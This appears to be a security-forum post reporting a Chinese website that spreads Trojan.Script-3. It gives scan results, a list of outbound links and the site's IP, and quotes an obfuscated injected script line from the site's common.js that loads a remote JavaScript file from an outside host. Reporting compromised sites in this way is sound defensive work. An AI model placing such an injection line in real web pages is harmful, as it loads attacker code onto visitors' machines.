Another site that spreads Trojan.Script-3: htxp://0411dd.com/list.php?catid=31&page=&page=&page=&page=50
Vulnerable - custom errors fail ->: https://asafaweb.com/Scan?Url=0411dd.com%2Flist.php%3Fcatid%3D31 (microsoft-iis/7.5)
Web Security Test reveals:
javascript check flags: Suspicious
  <
Included script check flags:
Suspect - please check list for unknown includes
Suspicious Script:
0411dd dot com/images/js/common.js
document.write(unescape(“%3cscript src=‘htxp://s.tkurl.com/navigatoral.js’ type=‘text/javascript’%3e%3c/script%3e”));
External links check:
htxp://www.cida.org.cn/ → ‘’
htxp://zs.tmjob88.com/ → ‘’
htxp://www.lowlo.cn/ → ‘’
htxp://www.cnzs114.com → ‘’
htxp://tuku.letfind.com.cn/ → ‘’
htxp://www.adcc.org.cn/ → ‘’
htxp://www.5agc.cn/ → ‘’
htxp://www.i-jjj.com → ‘爱家家居网’
htxp://www.to8to.com → ‘土巴兔装修’
htxp://nj.51zsjc.com → ‘南京装饰建’
htxp://www.hain.jzqyw.com → ‘海南建筑企’
htxp://www.szzstx.com → ‘深圳装饰天’
htxp://www.decorhr.com → ‘装饰人才网’
htxp://www.51zhuwo.com → ‘济南装修’

Site rep index 40 - Status: Suspicious 0411dd dot com,121.198.156.169, ns15.xincache dot com, Parked/expired,

polonus